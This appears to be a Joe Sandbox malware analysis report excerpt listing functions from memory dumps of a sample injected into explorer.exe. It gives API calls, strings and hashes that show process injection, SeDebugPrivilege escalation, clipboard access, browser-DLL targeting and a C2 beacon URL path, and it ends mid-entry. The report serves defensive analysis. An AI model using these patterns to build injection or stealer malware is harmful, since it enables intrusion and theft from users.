Opcode ID: a47975617ac881b49f0cec2b761dd34382b37af9e36fee6c2cc171b40450e71b
Instruction ID: 2f04df0f3071f0366ae6b4480e5281022859cbdd84fed91db149e8948599a630
Opcode Fuzzy Hash: a47975617ac881b49f0cec2b761dd34382b37af9e36fee6c2cc171b40450e71b
Instruction Fuzzy Hash: 75018E3A615B80C6E718DF12A88065DBB64F7C9FC0F58A124DB8A13B54CF38D162CB00

Function 0C5B8DB0 Relevance: 1.5, APIs: 1, Instructions: 31memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0C5B8860: Sleep.KERNEL32 ref: 0C5B888C

HeapCreate.KERNEL32 ref: 0C5B8DCD

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeapSleep
String ID:
API String ID: 221814145-0
Opcode ID: 2bc20813d10902d03f9adf3a655504633a2f6827465e560e1165a8385970e71d
Instruction ID: b7469f5e28d49d23f33a53b5b9110dff08b487609421a813625e8f57eea5765a
Opcode Fuzzy Hash: 2bc20813d10902d03f9adf3a655504633a2f6827465e560e1165a8385970e71d
Instruction Fuzzy Hash: 90E06D79712B01C3FF69BBB518927EA1448BB88311F4C35389E19593C1DE2CA4EF96A4

Non-executed Functions

Function 0C5B1370 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 179fileinjectionprocessCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 0C5B13C8
GetFileSize.KERNEL32 ref: 0C5B13F3
malloc.LIBCMT ref: 0C5B13FD
ReadFile.KERNEL32 ref: 0C5B1418
CloseHandle.KERNEL32 ref: 0C5B1421
CreateProcessA.KERNEL32 ref: 0C5B1484
GetThreadContext.KERNEL32 ref: 0C5B14EF
VirtualAllocEx.KERNEL32 ref: 0C5B1518
WriteProcessMemory.KERNEL32 ref: 0C5B1537
WriteProcessMemory.KERNEL32 ref: 0C5B157C

Strings

@, xrefs: 0C5B1510

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: FileProcess$CreateMemoryWrite$AllocCloseContextHandleReadSizeThreadVirtualmalloc
String ID: @
API String ID: 596952117-2766056989
Opcode ID: 002aa25899cd2985f37c60500266a51d3d14f0eecc427be1b9de0b05803810f3
Instruction ID: 311a401f4b4f9b5cae29299fbbde2b2b9b2596a37804f530a20350e4ad2a288f
Opcode Fuzzy Hash: 002aa25899cd2985f37c60500266a51d3d14f0eecc427be1b9de0b05803810f3
Instruction Fuzzy Hash: 3F81473A705F818AEB60CF62E894B9EB7A4F788B98F400215DE8D57B58DF78C155CB00

Function 0C5B3100 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 93injectionlibrarymemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0C5B3143
GetModuleHandleA.KERNEL32 ref: 0C5B3161
GetProcAddress.KERNEL32 ref: 0C5B3171
CloseHandle.KERNEL32 ref: 0C5B3182
VirtualAllocEx.KERNEL32 ref: 0C5B31AB
WriteProcessMemory.KERNEL32 ref: 0C5B31CF
CreateRemoteThread.KERNEL32 ref: 0C5B31F9
CloseHandle.KERNEL32 ref: 0C5B3207
CloseHandle.KERNEL32 ref: 0C5B3210

Strings

@, xrefs: 0C5B31A0
kernel32.dll, xrefs: 0C5B3155
LoadLibraryA, xrefs: 0C5B3167

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Handle$Close$Process$AddressAllocCreateMemoryModuleOpenProcRemoteThreadVirtualWrite
String ID: @$LoadLibraryA$kernel32.dll
API String ID: 752146563-1829755052
Opcode ID: c606fb0cfecfd46298193f33cbc6d7605fb5d133aeb872935ca65d1741d69029
Instruction ID: 71412cdb9c13e75d614172b9bf89c0773ac7d19e1f4d1534e600a8357fa11358
Opcode Fuzzy Hash: c606fb0cfecfd46298193f33cbc6d7605fb5d133aeb872935ca65d1741d69029
Instruction Fuzzy Hash: 50319D39706F5082FA18CF56AC14B5AA7A0BBC9FC1F540225DE4E57BA4DF7CD2898B00

Function 0AFF0BF0 Relevance: 21.3, APIs: 5, Strings: 9, Instructions: 267COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0AFF0C78

Part of subcall function 0B00CC0C: _FF_MSGBANNER.LIBCMT ref: 0B00CC3C
Part of subcall function 0B00CC0C: _NMSG_WRITE.LIBCMT ref: 0B00CC46
Part of subcall function 0B00CC0C: _callnewh.LIBCMT ref: 0B00CC7A
Part of subcall function 0B00CC0C: _errno.LIBCMT ref: 0B00CC85
Part of subcall function 0B00CC0C: _errno.LIBCMT ref: 0B00CC90

free.LIBCMT ref: 0AFF1020
free.LIBCMT ref: 0AFF1028

Part of subcall function 0B00CBCC: _errno.LIBCMT ref: 0B00CBEC

free.LIBCMT ref: 0AFF1030
free.LIBCMT ref: 0AFF1039

Strings

yname, xrefs: 0AFF0D0F
recv, xrefs: 0AFF0D3D
ket, xrefs: 0AFF0D51
connect, xrefs: 0AFF0D29
owA, xrefs: 0AFF0F00
TerminateProcess, xrefs: 0AFF0DCE
ThreadEx, xrefs: 0AFF0DBE
socket, xrefs: 0AFF0CD5
ueKey, xrefs: 0AFF0DA1

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID: TerminateProcess$ThreadEx$connect$ket$owA$recv$socket$ueKey$yname
API String ID: 2761444284-2795165351
Opcode ID: 64aa8e0c970a38ad80d7984744cea5c98d49862ca774bc6d0b56d083bfff6d70
Instruction ID: e2427173b1b80abafabdabbb07d3ecbda4cc11012b6f399e4c1e761ca8c2a3af
Opcode Fuzzy Hash: 64aa8e0c970a38ad80d7984744cea5c98d49862ca774bc6d0b56d083bfff6d70
Instruction Fuzzy Hash: 31C16036614B468AEB14DF26F89439E77A1F789B88F404525DE4E57B28DF3CD149CB00

Function 0C5B3270 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0C5B32C6
OpenProcessToken.ADVAPI32 ref: 0C5B32D9
LookupPrivilegeValueA.ADVAPI32 ref: 0C5B32FD
AdjustTokenPrivileges.ADVAPI32 ref: 0C5B3320
CloseHandle.KERNEL32 ref: 0C5B332B
OpenProcess.KERNEL32 ref: 0C5B333B

Part of subcall function 0C5B3070: OpenProcess.KERNEL32 ref: 0C5B3099
Part of subcall function 0C5B3070: CloseHandle.KERNEL32 ref: 0C5B30C1

CloseHandle.KERNEL32 ref: 0C5B3378

Strings

SeDebugPrivilege, xrefs: 0C5B32E8

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleOpen$Token$AdjustCurrentLookupPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 2357999848-2896544425
Opcode ID: 3e1794ce5c283809690fd73b686d53534d5110c0664976bed178a9703c3a7d90
Instruction ID: ec7e7a83a748f8c6cd2bf3bf63f7eb9686464ba809a6cdbb11469eaae2bdd5ae
Opcode Fuzzy Hash: 3e1794ce5c283809690fd73b686d53534d5110c0664976bed178a9703c3a7d90
Instruction Fuzzy Hash: 8C31C239315B4182FB14CF66BD54BAAABA1FBC8B91F805124EE4A63B64EF78C145C700

Function 0C5C7DA0 Relevance: 10.5, APIs: 7, Instructions: 37clipboardmemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32 ref: 0C5C7DC8
GlobalLock.KERNEL32 ref: 0C5C7DDF
GlobalUnlock.KERNEL32 ref: 0C5C7DF7
OpenClipboard.USER32 ref: 0C5C7DFF
EmptyClipboard.USER32 ref: 0C5C7E05
SetClipboardData.USER32 ref: 0C5C7E13
CloseClipboard.USER32 ref: 0C5C7E19

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlock
String ID:
API String ID: 1677084743-0
Opcode ID: 590d7733d11ae7a91e8ba7639a279f2f9a421102dd10d05eb9efafa798fbcb6f
Instruction ID: acfcbdeae3292ef2ac213b777f4a3802bebc52e7d3a350c3adfe4bee42852536
Opcode Fuzzy Hash: 590d7733d11ae7a91e8ba7639a279f2f9a421102dd10d05eb9efafa798fbcb6f
Instruction Fuzzy Hash: 06012C39605E41C6FB18AB62EC5879E6761F788FC2F044239DA4A17764DF3CD58AC344

Function 0C5B4200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77injectionmemorythreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 0C5B4273
WriteProcessMemory.KERNEL32 ref: 0C5B4296
VirtualProtectEx.KERNEL32 ref: 0C5B42B7
CreateRemoteThread.KERNEL32 ref: 0C5B42EB

Strings

@, xrefs: 0C5B425D

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Virtual$AllocCreateMemoryProcessProtectRemoteThreadWrite
String ID: @
API String ID: 1113946311-2766056989
Opcode ID: 8eb206c392a85df2eb979af2c9fbee192db5162bc83d91a198319fe8a4d3cb7b
Instruction ID: b9ca0df686046e1ae8d9b73030fa852ca4c6e4fa732487ca1db6df66fb3c1bed
Opcode Fuzzy Hash: 8eb206c392a85df2eb979af2c9fbee192db5162bc83d91a198319fe8a4d3cb7b
Instruction Fuzzy Hash: 9F217E76306F8182DB29CF57B951B6ABAB5F788BC0F544129DE8D63B14DB38C1458B00

Function 0C5C7BB0 Relevance: 7.5, APIs: 5, Instructions: 42clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0C5C7BC1
GetClipboardData.USER32 ref: 0C5C7BD3
GlobalLock.KERNEL32 ref: 0C5C7BE4
GlobalUnlock.KERNEL32 ref: 0C5C7BF5
CloseClipboard.USER32 ref: 0C5C7BFB

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 16fbe9a811f8a39130425ac033a9b8a784b63399614c7c978694cb26c5d01716
Instruction ID: 05018c86768bb9d58f2d2de855bde00e69f1a2adf0eddbd6a1ec419439fa0cf6
Opcode Fuzzy Hash: 16fbe9a811f8a39130425ac033a9b8a784b63399614c7c978694cb26c5d01716
Instruction Fuzzy Hash: A001B17A705B4182EE489B56BD847295351BB88FC1F085138DD1E07B54DF3CD186C700

Function 0C5E0378 Relevance: .0, Instructions: 1COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 103d6254a6d94bacc82e822885185f56c69cb799ec5124c0aa405e386975151b
Instruction ID: 33f440db8dcf76ed1806d7bd443262935e64228566635c654bb1f16f699d93a5
Opcode Fuzzy Hash: 103d6254a6d94bacc82e822885185f56c69cb799ec5124c0aa405e386975151b
Instruction Fuzzy Hash:

Function 0C5CA520 Relevance: 49.9, APIs: 33, Instructions: 363stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0C5CA1E0: EnterCriticalSection.KERNEL32 ref: 0C5CA1F4
Part of subcall function 0C5CA1E0: LeaveCriticalSection.KERNEL32 ref: 0C5CA21D

wsprintfA.USER32 ref: 0C5CA5B4
lstrlenA.KERNEL32 ref: 0C5CA601
memcpy.MSVCRT ref: 0C5CA61B
memcpy.MSVCRT ref: 0C5CA833
free.MSVCRT ref: 0C5CA83E
free.MSVCRT ref: 0C5CA852
StrStrA.SHLWAPI ref: 0C5CA862
StrStrA.SHLWAPI ref: 0C5CA891
StrToIntA.SHLWAPI ref: 0C5CA8C8
free.MSVCRT ref: 0C5CA8DD
malloc.MSVCRT ref: 0C5CA902
memcpy.MSVCRT ref: 0C5CA918
malloc.MSVCRT ref: 0C5CA940
realloc.MSVCRT ref: 0C5CA94E
malloc.MSVCRT ref: 0C5CA98B
realloc.MSVCRT ref: 0C5CA999
memcpy.MSVCRT ref: 0C5CA9AE
lstrlenA.KERNEL32 ref: 0C5CA9D5
memcpy.MSVCRT ref: 0C5CA9E8
malloc.MSVCRT ref: 0C5CAA23
realloc.MSVCRT ref: 0C5CAA31
memcpy.MSVCRT ref: 0C5CAA46
memcpy.MSVCRT ref: 0C5CA96D

Part of subcall function 0C5CA350: malloc.MSVCRT ref: 0C5CA3F3
Part of subcall function 0C5CA350: realloc.MSVCRT ref: 0C5CA401
Part of subcall function 0C5CA350: memcpy.MSVCRT ref: 0C5CA419

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: memcpy$malloc$realloc$free$CriticalSectionlstrlen$EnterLeavewsprintf
String ID:
API String ID: 812771569-0
Opcode ID: f25c02b34214fed0755ed42246cc6103518449fe10e9393398946924300546bd
Instruction ID: 4fe3170a733796b46c8fa092042b9f8ea2d629ec47a4df2e6f5803d5f922b0ac
Opcode Fuzzy Hash: f25c02b34214fed0755ed42246cc6103518449fe10e9393398946924300546bd
Instruction Fuzzy Hash: 2DE17F39301B09CBEB24DBA6E8D476A7BA1F784B85F04062DCA4A47B51DF7DE086D740

Function 0C5CA340 Relevance: 27.2, APIs: 18, Instructions: 171stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0C5CAD06
strncmp.MSVCRT ref: 0C5CAD1C
strncmp.MSVCRT ref: 0C5CAD3A
malloc.MSVCRT ref: 0C5CAD67
memcpy.MSVCRT ref: 0C5CAD80

Part of subcall function 0C5C57E0: StrStrIA.SHLWAPI ref: 0C5C57F5

StrStrA.SHLWAPI ref: 0C5CADB7
StrToIntA.SHLWAPI ref: 0C5CADDD
free.MSVCRT ref: 0C5CADF0
realloc.MSVCRT ref: 0C5CAE0D
memcpy.MSVCRT ref: 0C5CAE28
LeaveCriticalSection.KERNEL32 ref: 0C5CAE5E
malloc.MSVCRT ref: 0C5CAE92
memcpy.MSVCRT ref: 0C5CAEA5
lstrlenA.KERNEL32 ref: 0C5CAF08
free.MSVCRT ref: 0C5CAF33
free.MSVCRT ref: 0C5CAF3C
free.MSVCRT ref: 0C5CAF6B
LeaveCriticalSection.KERNEL32 ref: 0C5CAF78

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: free$CriticalSectionmemcpy$Leavemallocstrncmp$Enterlstrlenrealloc
String ID:
API String ID: 4124047334-0
Opcode ID: af97f736c75256ced67b10d1523ae910871dce2052183ee6b1000db11822190e
Instruction ID: 19f0989dd9b270760a86ef7b702a38965bfa28d53b09fa54da8c278559e4f3af
Opcode Fuzzy Hash: af97f736c75256ced67b10d1523ae910871dce2052183ee6b1000db11822190e
Instruction Fuzzy Hash: 53711E7C302E04C5FB08AB92EC94B696B61BB86BD2F44463DCD0A477A5DF3DE0868740

Function 0C5B9450 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 107stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0C5B9498
RtlInitializeCriticalSection.NTDLL ref: 0C5B94A5
lstrcpyA.KERNEL32 ref: 0C5B94DA

Part of subcall function 0C5BEF20: GetWindowsDirectoryA.KERNEL32 ref: 0C5BEF6C
Part of subcall function 0C5BEF20: GetVolumeInformationA.KERNEL32 ref: 0C5BEFB6
Part of subcall function 0C5BEF20: wsprintfA.USER32 ref: 0C5BF017

lstrcpyA.KERNEL32 ref: 0C5B94FD
lstrcatA.KERNEL32 ref: 0C5B950D
LeaveCriticalSection.KERNEL32 ref: 0C5B95A4

Part of subcall function 0C5B72C0: send.WS2_32 ref: 0C5B74EC
Part of subcall function 0C5B72C0: recv.WS2_32 ref: 0C5B7553
Part of subcall function 0C5B72C0: lstrcmpiA.KERNEL32 ref: 0C5B75B3
Part of subcall function 0C5B72C0: lstrlenA.KERNEL32 ref: 0C5B75D7
Part of subcall function 0C5B72C0: StrStrA.SHLWAPI ref: 0C5B75EF
Part of subcall function 0C5B72C0: lstrcmpiA.KERNEL32 ref: 0C5B760E
Part of subcall function 0C5B72C0: strtol.MSVCRT ref: 0C5B7626

lstrcatA.KERNEL32 ref: 0C5B951D

Part of subcall function 0C5B72C0: lstrcpyA.KERNEL32 ref: 0C5B731E
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B732F
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B7343
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B7357
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B7368
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B737C
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B739A
Part of subcall function 0C5B72C0: wsprintfA.USER32 ref: 0C5B73B2
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B73C6
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B73DA
Part of subcall function 0C5B72C0: lstrcatA.KERNEL32 ref: 0C5B7416
Part of subcall function 0C5B72C0: WSAStartup.WS2_32 ref: 0C5B7426
Part of subcall function 0C5B72C0: socket.WS2_32 ref: 0C5B7442
Part of subcall function 0C5B72C0: gethostbyname.WS2_32 ref: 0C5B7459
Part of subcall function 0C5B72C0: memcpy.MSVCRT ref: 0C5B7479
Part of subcall function 0C5B72C0: htons.WS2_32 ref: 0C5B7488
Part of subcall function 0C5B72C0: connect.WS2_32 ref: 0C5B749F
Part of subcall function 0C5B72C0: lstrlenA.KERNEL32 ref: 0C5B74B5
Part of subcall function 0C5B72C0: send.WS2_32 ref: 0C5B74CB

memcpy.MSVCRT ref: 0C5B95BC
lstrlenA.KERNEL32 ref: 0C5B95CA

Strings

/VzCAHn.php?A629855EB2A22925382193, xrefs: 0C5B94F3
A629855EB2A22925382193, xrefs: 0C5B94E0, 0C5B9513

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcat$CriticalSectionlstrcpylstrlen$lstrcmpimemcpysendwsprintf$DirectoryEnterInformationInitializeLeaveStartupVolumeWindowsconnectgethostbynamehtonsrecvsocketstrtol
String ID: /VzCAHn.php?A629855EB2A22925382193$A629855EB2A22925382193
API String ID: 3667244998-2780494505
Opcode ID: 027bb0a9ce3b6c427593c51076e47950a92822b6eebffa623c4782179a7d58f5
Instruction ID: bcaf545c6bf39b5ba9435d58c09700c0bbd072d04d978662b6aaf877714f9697
Opcode Fuzzy Hash: 027bb0a9ce3b6c427593c51076e47950a92822b6eebffa623c4782179a7d58f5
Instruction Fuzzy Hash: C251093A205E45C5FB14DB26EC5079E77A4F798782F440229DA8D87764DF39D18ACB80

Function 0C5D0F20 Relevance: 18.1, APIs: 12, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 0C5D0F31
free.LIBCMT ref: 0C5D0F4E

Part of subcall function 0C5CD7CC: HeapFree.KERNEL32 ref: 0C5CD7E2
Part of subcall function 0C5CD7CC: _errno.LIBCMT ref: 0C5CD7EC
Part of subcall function 0C5CD7CC: GetLastError.KERNEL32 ref: 0C5CD7F4

free.LIBCMT ref: 0C5D0F63
free.LIBCMT ref: 0C5D0F84
free.LIBCMT ref: 0C5D0F99
free.LIBCMT ref: 0C5D0FAD
free.LIBCMT ref: 0C5D0FB9
free.LIBCMT ref: 0C5D0FD7
EncodePointer.KERNEL32 ref: 0C5D0FDE
free.LIBCMT ref: 0C5D0FF7
free.LIBCMT ref: 0C5D1010
free.LIBCMT ref: 0C5D103C

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: free$Pointer$DecodeEncodeErrorFreeHeapLast_errno
String ID:
API String ID: 4099253644-0
Opcode ID: 2d90a7128c807d89a1f1bf2d6a1705930a541b5f23501c4a4c89efbf8c4cbf5a
Instruction ID: 68bdc6571570f5284cbedb4925b2a45f30a6d32ada8ca84858d5718f8d29ec5e
Opcode Fuzzy Hash: 2d90a7128c807d89a1f1bf2d6a1705930a541b5f23501c4a4c89efbf8c4cbf5a
Instruction Fuzzy Hash: 8A31F13D302F4689FE1C9B99ED90B692360BBC8B51F1C0739D91A462D0DF7CD09A8302

Function 0B012460 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_crt.LIBCMT ref: 0B012489

Part of subcall function 0B00F6E8: malloc.LIBCMT ref: 0B00F713

free.LIBCMT ref: 0B01258A
free.LIBCMT ref: 0B0125A6

Strings

ENL, xrefs: 0B0124CF, 0B0124F1, 0B012642
PTB, xrefs: 0B0124FC
ENS, xrefs: 0B012560

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: free$_malloc_crtmalloc
String ID: ENL$ENS$PTB
API String ID: 2027218043-1347060993
Opcode ID: b19ed15293e8830170cdd68888e8d600795c7cfa9d28dacc6cf5a1aff8321b23
Instruction ID: c371ac2a0bd04c6ccd0b20ac4b65fdde9e6181987551800ac8eafcc41ac38ed7
Opcode Fuzzy Hash: b19ed15293e8830170cdd68888e8d600795c7cfa9d28dacc6cf5a1aff8321b23
Instruction Fuzzy Hash: A651B136301B0197EB2CDF26E99135A73A4F788BA8F444A25DF5D07B60EF38C1A68744

Function 0C5C9980 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0C5CA2C0: RtlInitializeCriticalSection.NTDLL ref: 0C5CA2F1
Part of subcall function 0C5CA2C0: RtlInitializeCriticalSection.NTDLL ref: 0C5CA2FE

GetModuleHandleA.KERNEL32 ref: 0C5C9A20
GetModuleFileNameA.KERNEL32 ref: 0C5C9A3A
malloc.MSVCRT ref: 0C5C9A5F
CloseHandle.KERNEL32 ref: 0C5C9ABA
free.MSVCRT ref: 0C5C9AC3

Strings

chrome.dll, xrefs: 0C5C99F4
opera-browser.dll, xrefs: 0C5C99E2
browser.dll, xrefs: 0C5C99D9
msedge.dll, xrefs: 0C5C99EB
.text, xrefs: 0C5C9AD3

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: CriticalHandleInitializeModuleSection$CloseFileNamefreemalloc
String ID: .text$browser.dll$chrome.dll$msedge.dll$opera-browser.dll
API String ID: 308684148-2401417439
Opcode ID: f4d4cab3f099be543efe84867a689d64e1ea9ecdae0880032a623145d8422e52
Instruction ID: 5feb27dd65005d141ab0ac6a99aaca2787281df80fb2ee1452e11bcc1e8aa7a2
Opcode Fuzzy Hash: f4d4cab3f099be543efe84867a689d64e1ea9ecdae0880032a623145d8422e52
Instruction Fuzzy Hash: F951A139305F86C9FB24DF52AC907EA77A4F7C8B81F985229CA4A83654DF78D249C740

Function 0C5C5B30 Relevance: 17.6, APIs: 14, Instructions: 137stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0C5C5BAB
lstrlenA.KERNEL32 ref: 0C5C5BB4
lstrlenA.KERNEL32 ref: 0C5C5BC0
lstrlenA.KERNEL32 ref: 0C5C5BCF

Part of subcall function 0C5C60A0: lstrlenA.KERNEL32 ref: 0C5C60CD

malloc.MSVCRT ref: 0C5C5BFD
memset.MSVCRT ref: 0C5C5C56
memcpy.MSVCRT ref: 0C5C5C7E
memcpy.MSVCRT ref: 0C5C5CA8
memcpy.MSVCRT ref: 0C5C5CC4
memcpy.MSVCRT ref: 0C5C5CDD
memcpy.MSVCRT ref: 0C5C5D05
memcpy.MSVCRT ref: 0C5C5D34
free.MSVCRT ref: 0C5C5D3D

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: memcpy$lstrlen$freemallocmemsetwsprintf
String ID:
API String ID: 1433255627-0
Opcode ID: 3f3358fd89c591a3de3c16bc1bf2fc07c1258d1414ea3b73042baff42daefdb3
Instruction ID: 5b9782b53ca203823b2aecb47aec5e2bc429fac9a3e657ebb24e3f1bd84c220b
Opcode Fuzzy Hash: 3f3358fd89c591a3de3c16bc1bf2fc07c1258d1414ea3b73042baff42daefdb3
Instruction Fuzzy Hash: D051CD7A305F848AEB28DF56EC8479A73A0FB88BC5F445129CE4A43758EF3CE5458B00

Function 0C5B4840 Relevance: 13.6, APIs: 9, Instructions: 120stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0C5B4A00: isdigit.MSVCRT ref: 0C5B4A27

tolower.MSVCRT ref: 0C5B48B8

Part of subcall function 0C5B46A0: malloc.MSVCRT ref: 0C5B46B0
Part of subcall function 0C5B46A0: free.MSVCRT ref: 0C5B46D0

memcpy.MSVCRT ref: 0C5B4939
_errno.MSVCRT ref: 0C5B493F
strtod.MSVCRT ref: 0C5B495D
_errno.MSVCRT ref: 0C5B49BA

Memory Dump Source

Source File: 00000005.00000002.3924900127.000000000C5B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0C5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_c5b0000_explorer.jbxd

Yara matches

Similarity

API ID: _errno$freeisdigitmallocmemcpystrtodtolower
String ID:
API String ID: 3554981057-0
Opcode ID: 07103d640e9ae0411e88654100c8d00ff39fa55492868884b46740f3bc85c165
Instruction ID: 744c59f0abfe893a133b88d9ac7327011e49d0418cd0b685767693524f0d1ecc
Opcode Fuzzy Hash: 07103d640e9ae0411e88654100c8d00ff39fa55492868884b46740f3bc85c165
Instruction Fuzzy Hash: A641C43A604B64C6EB25DF22E84476D7BA1F384B81F418226EE4553756EF3CD085CB40

Function 0B010320 Relevance: 12.6, APIs: 10, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0B01034E

Part of subcall function 0B00CBCC: _errno.LIBCMT ref: 0B00CBEC

free.LIBCMT ref: 0B010363
free.LIBCMT ref: 0B010384
free.LIBCMT ref: 0B010399
free.LIBCMT ref: 0B0103AD
free.LIBCMT ref: 0B0103B9
free.LIBCMT ref: 0B0103D7
free.LIBCMT ref: 0B0103F7
free.LIBCMT ref: 0B010410
free.LIBCMT ref: 0B01043C

Memory Dump Source

Source File: 00000005.00000002.3861811657.000000000AFF0000.00000020.00000001.00020000.00000000.sdmp, Offset: 0AFF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_aff0000_explorer.jbxd

Yara matches

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: 2e91f14760ca50965f451ad78aef7bb371f62a1693b0c48b09e2edaf0265d003
Instruction ID: 923023d013664a3626d041e59b0ed49f1a0762f051a70d861ec6e9261d6df306
